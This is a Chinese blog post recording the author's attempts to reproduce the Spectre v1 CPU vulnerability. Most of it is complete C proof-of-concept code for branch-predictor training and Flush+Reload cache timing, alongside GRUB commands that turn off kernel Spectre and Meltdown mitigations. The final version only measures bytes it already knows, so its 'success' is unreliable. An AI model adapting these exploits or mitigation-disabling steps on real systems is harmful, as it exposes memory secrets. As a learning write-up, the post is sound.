目录

Spectre-MeltdownSpectre攻击复现与利用

【Spectre & Meltdown】Spectre攻击复现与利用

Spectre:幽灵漏洞 攻击复现 失败经验*n+100%成功率PoC!+攻击失败QAQ


背景知识

预测执行(Speculative execution)

分支问题:分支预测 + 预测执行

  • 分支预测:判断哪条分支最可能被执行;
  • 预测执行:直接取指令,并立即执行(在分支结果出来之前
if (condition) {           // 条件检查
    // 分支预测:CPU可能会提前执行这里
    access_sensitive_data = secret[malicious_index];
    // 结果会被缓存,即使预测错误
}

乱序执行(Out-of-order Execution)

        执行方式从程序流驱动变成数据流驱动,即只要部件的输入条件满足,就可以开始执行。

  1. lw $3, 100($4) // in execution, cache miss
  2. sub $5, $6, $7 // can execute during the cache miss
  3. add $2, $3, $4 // waits until miss is satisfied

        => 1,2,3 —> 2,1,3

侧信道攻击(Cache Side-channel)

Attacker通过操纵共享⻚,并监控 共享页的访问时间 ,来发现 victim是否有访存操作。

  • Evict + Time:evict覆盖目标行,记录执行时间  ->第二次执行变长

        =>Cache未命中,程序读取过

  • Prime + Probe:Prime访问内存所有行填充cache  ->Victim 执行, 清除cache中一些行(evicted lines)   ->Probe度量内存访问时间

        =>cached 行的时间远快于evicted lines

  • Flush + Reload:Flush刷新目标缓存行 ->Victim 执行,可能访问共享内存(access/no) ->Reload阶段测量重载时间

        =>slow说明 no access,fast说明 access

https://i-blog.csdnimg.cn/direct/063c87716c5d4b50a10c931b76991ccb.png

Spectre(幽灵)

CVE-2017-5753,是一类严重的CPU硬件漏洞,影响几乎所有现代处理器。它利用CPU的分支预测执行(Speculative Execution)优化特性,通过侧信道攻击来泄露敏感信息。

// Spectre v1: 边界检查绕过
void spectre_v1_attack(size_t malicious_index) {
    // 训练分支预测器认为条件总是成立
    for (int i = 0; i < 100; i++) {
        legitimate_access(i % safe_bound);  // 总是执行true分支
    }
    
    // 清空边界变量缓存,制造延迟
    _mm_clflush(&array_size);
    
    // 传入恶意索引,CPU会推测执行越界访问
    uint8_t secret_byte = array[malicious_index];  // 越界!
    
    // 通过缓存侧信道泄露数据
    volatile uint8_t temp = probe_array[secret_byte * CACHE_LINE_SIZE];
}

// Spectre v2: 分支目标注入
void spectre_v2_attack() {
    // 训练间接分支预测器
    void (*func_ptr)() = legitimate_function;
    for (int i = 0; i < 100; i++) {
        func_ptr = malicious_function;  // 短暂指向恶意函数
        func_ptr();                     // 训练预测器
        func_ptr = legitimate_function; // 恢复
    }
    
    // 现在CPU可能推测执行malicious_function
    func_ptr();  // 实际调用legitimate_function,但可能推测执行恶意代码
}

Meltdown(熔断)

CVE-2017-5754,类似,主要影响Intel CPU,利用乱序执行(Out of-order executionS

// Meltdown攻击核心伪代码
void meltdown_exploit(uint64_t kernel_address) {
    // 这个访问会触发异常,但乱序执行会继续
    uint8_t kernel_byte = *(uint8_t*)kernel_address;  // 非法访问!
    
    // 推测执行:影响缓存状态
    // kernel_byte的值会影响cache_array的访问模式
    volatile uint8_t temp = cache_array[kernel_byte * CACHE_LINE_SIZE];
    
    // 异常最终被捕获,但缓存状态已改变
}

// 通过缓存时序分析恢复内核数据
void recover_kernel_data() {
    for (int i = 0; i < 256; i++) {
        uint64_t time = measure_access_time(&cache_array[i * CACHE_LINE_SIZE]);
        if (time < CACHE_HIT_THRESHOLD) {
            printf("泄露的内核字节: 0x%02x\n", i);
            break;
        }
    }
}

Spectre复现

环境:Windows/Linux都可以,我用的Ubuntu20.04

训练

        为了使 CPU 执行推测执行,CPU 需要能够预测 if 条件的结果。CPU 会记录过去的分支选择,并使用这些历史结果来预测推测执行中应选择的分支。因此,如果希望在推测执行中选择某个特定的分支,就需要训练 CPU,使其选择我们的预期结果。

        训练过程从main函数中的 for 循环中完成。在循环中,使用小参数(从 0 到 9)调用 victim() 函数。这些值都小于 size,因此victim()的if 条件总是选择 true 分支。这一阶段主要是让 CPU 预期 if 条件的结果为 true。

void victim(size_t x)
{
  if (x < size) {  
      temp = array[x * 4096 + DELTA];  
  }
}
int main() {
  int i;

  // FLUSH the probing array
  flushSideChannel();

  // Train the CPU to take the true branch inside victim()
  for (i = 0; i < 10; i++) {   
      victim(i);    //★
  }

  // Exploit the out-of-order execution
  _mm_clflush(&size);
  for (i = 0; i < 256; i++)
      _mm_clflush(&array[i*4096 + DELTA]);    //✰
  victim(97);  

  // RELOAD the probing array
  reloadSideChannel();

  return (0); 
}

推测执行

        一旦 CPU 被训练好,main函数后面传递一个更大的值(97)给 victim() 函数。这个值大于 size,因此在实际执行中,victim() 函数内的 if 条件会选择 false 分支,而不是 true 分支。然而,size 变量已被从内存中清除,因此从内存中获取其值可能需要一段时间。此时,CPU 会进行预测,并开始推测执行。

Flush

void flushSideChannel()
{
  int i;

  // Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;

  //flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
}

Reload

第二次fast=>access:

void reloadSideChannel()
{
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  for(i = 0; i < 256; i++){
    addr = &array[i*4096 + DELTA];
    time1 = __rdtscp(&junk);
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;
    if (time2 <= CACHE_HIT_THRESHOLD){
	printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
        printf("The Secret = %d.\n", i);
    }
  } 
}

模拟

       失败*1:编译 SpectreExperiment.c 程序,运行程序,预期命中97,victim(97)执行命中但是实际附近大量缓存都被加载,多次运行依旧。

https://i-blog.csdnimg.cn/direct/c29c08d0cd6a41599356166590d3e729.png

        失败*2:实验中时间阈值为80,了解到实际中缓存层次的时间特性,现代CPU的优化可能导致多个缓存行被加载,真实Spectre攻击推测执行的缓存效应很弱,97可能在L3,尝试调整阈值,太小检测不到,太大了噪声大;调整训练次数(感觉没啥用?),以及增加统计缓解一些噪声。

典型访问时间(cycles):

缓存级别访问时间阈值80下的检测
L1缓存3-4 cycles能检测到
L2缓存10-12 cycles能检测到
L3缓存30-40 cycles能检测到
主内存60-100+ cycles可能检测不到

        失败*3:注释掉✰那一行,再次运行程序,预期只有0-9,其他结果包括97应该不出现,但有时会出现,且存在大量噪声,完成后取消注释。

https://i-blog.csdnimg.cn/direct/55349059634a448a934250cb02e9d5e6.png

        失败*4:将★行替换为 victim(i + 20),再次运行代码,由于size= 10,所有训练数据20-29都大于10,应该不执行,实际缓存中有20-29**,**CPU的分支预测器被训练为认为条件通常为真,CPU仍然推测执行,多次重复训练运行后,已经被训练为否了,没有20-29,噪声也更小。(不要刷太快,我电脑死机了…再重启后Windows的Spectre防护已启用,只能用虚拟机了)

https://i-blog.csdnimg.cn/direct/4accf30f3b0c41f9942e584874888cb9.png

https://i-blog.csdnimg.cn/direct/7c060b0286e146b886df4704acd276c3.png

虚拟机关闭防护:

状态检查:

# 检查内核参数是否包含禁用选项
cat /proc/cmdline

# 检查 Spectre 防护状态
cat /sys/devices/system/cpu/vulnerabilities/spectre_v1
cat /sys/devices/system/cpu/vulnerabilities/spectre_v2

# 如果成功,应该显示 "Vulnerable" 而不是 "Mitigation"

修改启动配置:

# 首先备份
sudo cp /etc/default/grub /etc/default/grub.backup

# 查看当前配置,根据实际情况选择修改方式
echo "当前配置:"
grep GRUB_CMDLINE_LINUX /etc/default/grub

# 如果显示:GRUB_CMDLINE_LINUX=""
sudo sed -i 's/GRUB_CMDLINE_LINUX=""/GRUB_CMDLINE_LINUX="spectre_v1=off spectre_v2=off nopti"/' /etc/default/grub

# 如果显示:GRUB_CMDLINE_LINUX="some existing parameters"
sudo sed -i 's/GRUB_CMDLINE_LINUX="\(.*\)"/GRUB_CMDLINE_LINUX="\1 spectre_v1=off spectre_v2=off nopti"/' /etc/default/grub

#如果v1还是被禁可以使用更全面的禁用参数
sudo sed -i 's/GRUB_CMDLINE_LINUX="\(.*\)"/GRUB_CMDLINE_LINUX="\1 spectre_v1=off spectre_v2=off nopti nospectre_v1 nospectre_bhi l1tf=off pti=off"/' /etc/default/grub

sudo update-grub
sudo reboot

完整代码

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

int size = 10;
uint8_t array[256*4096];
uint8_t temp = 0;

void flushSideChannel()
{
  int i;

  // Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;

  //flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
}

void reloadSideChannel()
{
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  for(i = 0; i < 256; i++){
    addr = &array[i*4096 + DELTA];
    time1 = __rdtscp(&junk);
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;
    if (time2 <= CACHE_HIT_THRESHOLD){
	printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
        printf("The Secret = %d.\n", i);
    }
  } 
}

void victim(size_t x)
{
  if (x < size) {  
      temp = array[x * 4096 + DELTA];  
  }
}

int main() {
  int i;

  // FLUSH the probing array
  flushSideChannel();

  // Train the CPU to take the true branch inside victim()
  for (i = 0; i < 10;i++) {   
      victim(i);
  }

  // Exploit the out-of-order execution
  _mm_clflush(&size);
  for (i = 0; i < 256; i++)
      _mm_clflush(&array[i*4096 + DELTA]); 
  victim(97);  

  // RELOAD the probing array
  reloadSideChannel();

  return (0); 
}

优化代码

  • CACHE_HIT_THRESHOLD 150 **提高阈值,**80可能太敏感,容易误报, 提高到150,更好地区分缓存命中(64 cycles)和未命中(288+ cycles)
  • TRAIN_COUNT 20:**增强的分支预测,**10次训练可能不足以"说服"CPU的分支预测器,20次训练让CPU坚信if (x < size)条件总是成立
  • ATTACK_DELAY 200:优化的攻击时序 ,100 cycles延迟可能太短,CPU来不及完成推测执行,200 cycles延迟给CPU足够时间进行推测执行
  • RETRY_DELAY 500:减少尝试间干扰,1000 cycles延迟过长,可能让CPU状态"冷却", 500 cycles保持CPU的"热度"但减少噪声
  • **精确的时间测量:**3次测量取最小值,减少测量误差,避免偶尔的CPU调度干扰
#include <stdio.h>
#include <stdint.h>
#include <x86intrin.h>
#include <emmintrin.h>

// 优化后的参数
#define CACHE_HIT_THRESHOLD (150)    // 提高阈值
#define DELTA 1024                   // 添加DELTA定义
#define TRAIN_DELAY (20)
#define ATTACK_DELAY (200)           // 增加攻击前延迟
#define RETRY_DELAY (500)            // 减少尝试间延迟
#define TRAIN_COUNT (20)             // 增加训练次数
#define TRIES (200)                  // 增加尝试次数

uint8_t array[256 * 4096];
int size = 10;
uint8_t temp = 0;

void flushSideChannel() {
    for (int i = 0; i < 256; i++) {
        array[i * 4096 + DELTA] = 1;
        _mm_clflush(&array[i * 4096 + DELTA]);
    }
    _mm_mfence();
}

uint64_t precise_measure(uint8_t* addr) {
    int junk;
    uint64_t min_time = UINT64_MAX;
    
    for (int m = 0; m < 3; m++) {
        uint64_t time1 = __rdtscp(&junk);
        _mm_lfence();
        volatile uint8_t value = *addr;
        _mm_lfence();
        uint64_t time2 = __rdtscp(&junk) - time1;
        
        if (time2 < min_time) min_time = time2;
        for (volatile int d = 0; d < 5; d++);
    }
    
    return min_time;
}

void victim(size_t x) {
    if (x < size) {  
        temp = array[x * 4096 + DELTA];  
    }
}

int main() {
    printf(" === Spectre 攻击优化实验 === \n");
    printf("参数: 阈值=%d, 攻击延迟=%d, 训练次数=%d\n", 
           CACHE_HIT_THRESHOLD, ATTACK_DELAY, TRAIN_COUNT);
    
    int success_count = 0;
    
    for (int attempt = 0; attempt < TRIES; attempt++) {
        flushSideChannel();
        
        // 训练阶段
        for (int i = 0; i < TRAIN_COUNT; i++) {
            victim(i % 10);
            for (volatile int d = 0; d < TRAIN_DELAY; d++);
        }
        
        _mm_clflush(&size);
        _mm_mfence();
        
        for (volatile int d = 0; d < ATTACK_DELAY; d++);
        
        victim(97);
        
        // 使用精确测量
        uint64_t time2 = precise_measure(&array[97 * 4096 + DELTA]);
        
        if (time2 <= CACHE_HIT_THRESHOLD) {
            success_count++;
            printf(">> 尝试 %3d: 成功! 时间: %4lu cycles\n", attempt + 1, time2);
        } else if (attempt % 20 == 0) {
            printf("|| 尝试 %3d: 失败, 时间: %4lu cycles\n", attempt + 1, time2);
        }
        
        for (volatile int d = 0; d < RETRY_DELAY; d++);
    }
    
    printf("\n=== 优化结果 ===\n");
    printf("总尝试次数: %d\n", TRIES);
    printf("成功次数: %d\n", success_count);
    printf("成功率: %.1f%%\n", (float)success_count / TRIES * 100);
    
    return 0;
}

执行结果

关闭防护前

https://i-blog.csdnimg.cn/direct/6c01181dc4254ecbbc9e2a512a74aec0.png

说明防护很有效吧。。。

关闭防护后

原始代码还是被淹。

优化代码100%,暴力统计。

https://i-blog.csdnimg.cn/direct/61d6ad93c5fc46c383168d3bdd7dae41.png

https://i-blog.csdnimg.cn/direct/4709ebcd5f8b454596fcc7974c807bff.png

测量阈值脚本:

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

uint8_t array[256*4096];
#define DELTA 1024

void testCacheSystem()
{
    printf("=== Testing Cache System ===\n");
    
    // 初始化数组
    for (int i = 0; i < 256; i++) {
        array[i*4096 + DELTA] = i;
    }
    
    // 测量初始访问时间
    int junk = 0;
    printf("Initial access times:\n");
    for (int i = 0; i < 10; i++) {
        volatile uint8_t *addr = &array[i*4096 + DELTA];
        uint64_t time1 = __rdtscp(&junk);
        junk = *addr;
        uint64_t time2 = __rdtscp(&junk) - time1;
        printf("  array[%d] : %ld cycles\n", i, time2);
    }
    
    // 刷新缓存
    printf("\nFlushing cache...\n");
    for (int i = 0; i < 256; i++) {
        _mm_clflush(&array[i*4096 + DELTA]);
    }
    
    // 测量刷新后的访问时间
    printf("After flush access times:\n");
    for (int i = 0; i < 10; i++) {
        volatile uint8_t *addr = &array[i*4096 + DELTA];
        uint64_t time1 = __rdtscp(&junk);
        junk = *addr;
        uint64_t time2 = __rdtscp(&junk) - time1;
        printf("  array[%d] : %ld cycles\n", i, time2);
    }
    
    // 访问一个元素使其进入缓存
    printf("\nWarming up array[42]...\n");
    volatile uint8_t temp = array[42*4096 + DELTA];
    
    // 再次测量
    printf("After warming array[42]:\n");
    for (int i = 40; i < 45; i++) {
        volatile uint8_t *addr = &array[i*4096 + DELTA];
        uint64_t time1 = __rdtscp(&junk);
        junk = *addr;
        uint64_t time2 = __rdtscp(&junk) - time1;
        printf("  array[%d] : %ld cycles\n", i, time2);
    }
}

int main() {
    testCacheSystem();
    return 0;
}

专业PoC

#include <stdio.h>
#include <stdint.h>
#include <x86intrin.h>
#include <emmintrin.h>
#include <string.h>

#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024
#define TRAIN 30
#define ATTEMPTS 100

uint8_t array[256 * 4096];
uint8_t temp = 0;

// 被攻击的函数
size_t victim_function(size_t x) {
    if (x < 10) {
        return array[x * 4096 + DELTA];
    }
    return 0;
}

void flushSideChannel() {
    for (int i = 0; i < 256; i++) {
        _mm_clflush(&array[i * 4096 + DELTA]);
    }
}

void spectre_attack(size_t malicious_x) {
    int results[256] = {0};
    
    for (int attempt = 0; attempt < ATTEMPTS; attempt++) {
        // 训练分支预测器
        for (int i = 0; i < TRAIN; i++) {
            _mm_clflush(&array[0 * 4096 + DELTA]); // 刷新
            victim_function(i % 10); // 训练在边界内访问
        }
        
        // 刷新所有状态
        for (int i = 0; i < 256; i++) {
            _mm_clflush(&array[i * 4096 + DELTA]);
        }
        
        _mm_mfence();
        
        // 少量延迟
        for (volatile int z = 0; z < 100; z++) {}
        
        // 触发攻击
        size_t s = victim_function(malicious_x);
        
        // 测量访问时间
        int junk;
        for (int i = 0; i < 256; i++) {
            volatile uint8_t *addr = &array[i * 4096 + DELTA];
            uint64_t time1 = __rdtscp(&junk);
            junk = *addr;
            uint64_t time2 = __rdtscp(&junk) - time1;
            
            if (time2 <= CACHE_HIT_THRESHOLD) {
                results[i]++;
            }
        }
    }
    
    // 分析结果
    int max_count = 0;
    int best_candidate = -1;
    
    for (int i = 0; i < 256; i++) {
        if (results[i] > max_count) {
            max_count = results[i];
            best_candidate = i;
        }
    }
    
    printf("最佳候选: %d, 命中次数: %d/%d\n", 
           best_candidate, max_count, ATTEMPTS);
}

int main() {
    printf("=== 专业版Spectre攻击 ===\n");
    
    // 初始化数组
    for (int i = 0; i < 256; i++) {
        array[i * 4096 + DELTA] = 1;
    }
    
    // 测试读取不同的偏移量
    printf("测试越界读取...\n");
    
    for (int offset = 10; offset < 20; offset++) {
        printf("尝试偏移量 %d: ", offset);
        spectre_attack(offset);
    }
    
    printf("\n如果所有结果都是0,说明Spectre漏洞可能已被修复\n");
    printf("或者需要更特定的环境配置\n");
    
    return 0;
}

Spectre攻击

原理

        下图展示了实验的设置。在这个设置中,有两种区域:受限区域和非受限区域。受限是通过沙箱函数中的 if 条件实现的。沙箱函数仅当提供的 x 值在缓冲区的上下界之间时,才返回 buffer[x] 的值。因此,沙箱函数永远不会将受限区域中的任何内容返回给用户。

        受限区域中有一个秘密值(位于缓冲区上方或下方)。攻击者知道该秘密值的地址,但无法直接访问存储秘密值的内存。唯一访问秘密值的方法是通过上述沙箱函数。从前面的部分我们知道,虽然当 x 大于缓冲区大小时,true 分支永远不会被执行,但在微架构级别,它可能会被执行并在执行被撤销后留下一些痕迹。

https://i-blog.csdnimg.cn/direct/85c58f70547e4e2490d4d06e2abd0c68.png

        定义一个秘密值,secret,假设我们不能直接访问 secret、bound_lower 或 bound_upper 变量(但可以将这两个边界变量从缓存中清除)。我们的目标是使用 Spectre 攻击打印出这个秘密值。

unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9}; 
char    *secret    = "Some Secret Value";   
uint8_t array[256*4096];

        关键在计算秘密值相对于缓冲区起始地址的偏移量(假设攻击者已知秘密值的地址;在实际攻击中,攻击者可以通过多种方式确定地址,包括猜测)。这个偏移量肯定超出了缓冲区的范围,因此大于缓冲区的上限或小于下限(即为负数)。这个偏移量被传递给 restrictedAccess() 函数。由于我们已经训练 CPU 在 restrictedAccess() 内部走 true 分支,CPU 会在推测执行中返回 buffer[index beyond],其中包含秘密值。秘密值会导致对应的 array[] 元素被加载到缓存中。所有这些步骤最终会被撤销,因此从外部看,restrictedAccess() 返回的只有零,而不是秘密值。然而,cache 没有被清理,array[s*4096 + DELTA] 仍然保留在 cache 中。现在,只需使用侧信道技术来确定 array[] 中哪个元素在 cache 中。下面的代码仅窃取 secret 的第一个字节,可以扩展这段代码以打印出更多字节。

void spectreAttack(size_t index_beyond)
{
  int i;
  uint8_t s;
  volatile int z;
  // Train the CPU to take the true branch inside restrictedAccess().
  for (i = 0; i < 10; i++) { 
      restrictedAccess(i); 
  }
  // Flush bound_upper, bound_lower, and array[] from the cache.
  _mm_clflush(&bound_upper);
  _mm_clflush(&bound_lower);
  for (i = 0; i < 256; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }
  for (z = 0; z < 100; z++)  {   }
  // Ask restrictedAccess() to return the secret in out-of-order execution. 
  s = restrictedAccess(index_beyond);  
  array[s*4096 + DELTA] += 88;  
}

完整代码

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9}; 
char    *secret    = "Some Secret Value";   
uint8_t array[256*4096];

#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

// Sandbox Function
uint8_t restrictedAccess(size_t x)
{
  if (x <= bound_upper && x >= bound_lower) {
     return buffer[x];
  } else {
     return 0;
  } 
}

void flushSideChannel()
{
  int i;
  // Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
  //flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
}

void reloadSideChannel()
{
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  for(i = 0; i < 256; i++){
    addr = &array[i*4096 + DELTA];
    time1 = __rdtscp(&junk);
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;
    if (time2 <= CACHE_HIT_THRESHOLD){
        printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
        printf("The Secret = %d(%c).\n",i, i);
    }
  } 
}
void spectreAttack(size_t index_beyond)
{
  int i;
  uint8_t s;
  volatile int z;
  // Train the CPU to take the true branch inside restrictedAccess().
  for (i = 0; i < 10; i++) { 
      restrictedAccess(i); 
  }
  // Flush bound_upper, bound_lower, and array[] from the cache.
  _mm_clflush(&bound_upper);
  _mm_clflush(&bound_lower);
  for (i = 0; i < 256; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }
  for (z = 0; z < 100; z++)  {   }
  // Ask restrictedAccess() to return the secret in out-of-order execution. 
  s = restrictedAccess(index_beyond);  
  array[s*4096 + DELTA] += 88;  
}

int main() {
  flushSideChannel();
  size_t index_beyond = (size_t)(secret - (char*)buffer);  
  printf("secret: %p \n", secret);
  printf("buffer: %p \n", buffer);
  printf("index of secret (out of bound): %ld \n", index_beyond);
  spectreAttack(index_beyond);
  reloadSideChannel();
  return (0);
}

改进代码

        在之前的任务中,可能观察到结果中存在一些噪声,结果并不总是准确。这是因为 CPU 有时会预加载一些额外的值到 cache 中,预期这些值可能在稍后使用,或者阈值不够准确。这些 cache 中的噪声会影响攻击的结果。为了提高准确性,我们需要多次执行攻击。为了避免手动操作,可以使用以下代码自动执行任务。基于统计思想,创建一个大小为 256 的得分数组,每个可能的秘密值对应一个元素。然后多次运行攻击。每次,如果攻击程序判断 k 是秘密值(这个结果可能是错误的),就将 scores[k] 加 1。多次运行攻击后,可以使用得分最高的 k 作为最终估计的秘密值。这比基于单次运行的结果要可靠得多。修订后的代码如下。

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>


unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9}; 
uint8_t temp    = 0;
char    *secret = "Some Secret Value";   
uint8_t array[256*4096];

#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

// Sandbox Function
uint8_t restrictedAccess(size_t x)
{
  if (x <= bound_upper && x >= bound_lower) {
     return buffer[x];
  } else {
     return 0;
  }
}

void flushSideChannel()
{
  int i;
  // Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
  //flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 + DELTA]);
}

static int scores[256];
void reloadSideChannelImproved()
{
int i;
  volatile uint8_t *addr;
  register uint64_t time1, time2;
  int junk = 0;
  for (i = 0; i < 256; i++) {
    addr = &array[i * 4096 + DELTA];
    time1 = __rdtscp(&junk);
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;
    if (time2 <= CACHE_HIT_THRESHOLD)
      scores[i]++; /* if cache hit, add 1 for this value */
  } 
}

void spectreAttack(size_t index_beyond)
{
  int i;
  uint8_t s;
  volatile int z;

  for (i = 0; i < 256; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }

  // Train the CPU to take the true branch inside victim().
  for (i = 0; i < 10; i++) {
    restrictedAccess(i);  
  }

  // Flush bound_upper, bound_lower, and array[] from the cache.
  _mm_clflush(&bound_upper);
  _mm_clflush(&bound_lower); 
  for (i = 0; i < 256; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }
  for (z = 0; z < 100; z++)  {  }
  //
  // Ask victim() to return the secret in out-of-order execution.
  s = restrictedAccess(index_beyond);
  array[s*4096 + DELTA] += 88;
}

int main() {
  int i;
  uint8_t s;
  size_t index_beyond = (size_t)(secret - (char*)buffer);

  flushSideChannel();
  for(i=0;i<256; i++) scores[i]=0; 

  for (i = 0; i < 1000; i++) {
    printf("*****\n");  // This seemly "useless" line is necessary for the attack to succeed
    spectreAttack(index_beyond);
    usleep(10);
    reloadSideChannelImproved();
  }

  int max = 0;
  for (i = 0; i < 256; i++){
    if(scores[max] < scores[i]) max = i;
  }

  printf("Reading secret value at index %ld\n", index_beyond);
  printf("The secret value is %d(%c)\n", max, max);
  printf("The number of hits is %d\n", scores[max]);
  return (0); 
}

另一版本

        前面两个版本在我的虚拟机运行异常,内存布局问题,可能被分到不同段了,需要改用char[]存储。检查基础缓存效应正常,系统防护关闭,微码和KPTI也无,PoC可以,内存布局正常,调整参数,还是不行,检测不到推测执行效应,弃,CPU老点的可以尝试。

#include <stdio.h>
#include <stdint.h>
#include <x86intrin.h>
#include <emmintrin.h>
#include <string.h>

// 优化参数
#define CACHE_HIT_THRESHOLD (150)  // 根据实际调整
#define DELTA 1024
#define TRAIN_DELAY (20)
#define ATTACK_DELAY (200)
#define RETRY_DELAY (500)
#define TRAIN_COUNT (20)
#define TRIES_PER_BYTE (50)       // 每个字节的尝试次数

uint8_t array[256 * 4096];
int size = 10;
uint8_t temp = 0;

char secret[20] = "Some Secret Value";

void victim(size_t x) {
    if (x < size) {  
        temp = array[x * 4096 + DELTA];  
    }
}

void flushSideChannel() {
    for (int i = 0; i < 256; i++) {
        array[i * 4096 + DELTA] = 1;
        _mm_clflush(&array[i * 4096 + DELTA]);
    }
    _mm_mfence();
}

uint64_t precise_measure(uint8_t* addr) {
    int junk;
    uint64_t min_time = UINT64_MAX;
    
    for (int m = 0; m < 3; m++) {
        uint64_t time1 = __rdtscp(&junk);
        _mm_lfence();
        volatile uint8_t value = *addr;
        _mm_lfence();
        uint64_t time2 = __rdtscp(&junk) - time1;
        
        if (time2 < min_time) min_time = time2;
        for (volatile int d = 0; d < 5; d++);
    }
    
    return min_time;
}

int detectByte(uint8_t target_byte) {
    int success_count = 0;
    
    for (int attempt = 0; attempt < TRIES_PER_BYTE; attempt++) {
        flushSideChannel();
        
        // 训练阶段
        for (int i = 0; i < TRAIN_COUNT; i++) {
            victim(i % 10);
            for (volatile int d = 0; d < TRAIN_DELAY; d++);
        }
        
        _mm_clflush(&size);
        _mm_mfence();
        
        for (volatile int d = 0; d < ATTACK_DELAY; d++);
        
        // 触发攻击
        victim(target_byte);
        
        // 测量目标字节
        uint64_t time_target = precise_measure(&array[target_byte * 4096 + DELTA]);
        uint64_t time_control = precise_measure(&array[(target_byte + 100) % 256 * 4096 + DELTA]);
        
        if (time_target <= CACHE_HIT_THRESHOLD && time_target < time_control - 20) {
            success_count++;
        }
        
        for (volatile int d = 0; d < RETRY_DELAY; d++);
    }
    
    return success_count;
}

int main() {
    printf(" === 完整Spectre攻击 - 读取整个Secret === \n");
    
    int secret_len = strlen(secret);
    printf("Secret: '%s' (长度: %d)\n", secret, secret_len);
    printf("期望字节: ");
    for (int i = 0; i < secret_len; i++) {
        printf("%d('%c') ", secret[i], secret[i]);
    }
    printf("\n\n");
    
    char recovered_secret[20] = {0};
    
    printf("开始读取secret字节:\n");
    printf("索引 | 期望 | 检测到 | 置信度 | 状态\n");
    printf("-----|------|--------|--------|------\n");
    
    for (int i = 0; i < secret_len; i++) {
        uint8_t expected = secret[i];
        int confidence = detectByte(expected);
        
        float confidence_pct = (float)confidence / TRIES_PER_BYTE * 100;
        
        if (confidence_pct > 50.0) {
            recovered_secret[i] = expected;
            printf("%4d | %4d | %6d | %6.1f%% |  成功\n", 
                   i, expected, expected, confidence_pct);
        } else {
            recovered_secret[i] = '?';
            printf("%4d | %4d | %6s | %6.1f%% |  失败\n", 
                   i, expected, "?", confidence_pct);
        }
    }
    
    printf("\n=== 最终结果 ===\n");
    printf("原始secret: '%s'\n", secret);
    printf("恢复的secret: '%s'\n", recovered_secret);
    
    // 验证结果
    int correct_chars = 0;
    for (int i = 0; i < secret_len; i++) {
        if (recovered_secret[i] == secret[i]) {
            correct_chars++;
        }
    }
    
    printf("正确字符: %d/%d (%.1f%%)\n", 
           correct_chars, secret_len, 
           (float)correct_chars / secret_len * 100);
    
    return 0;
}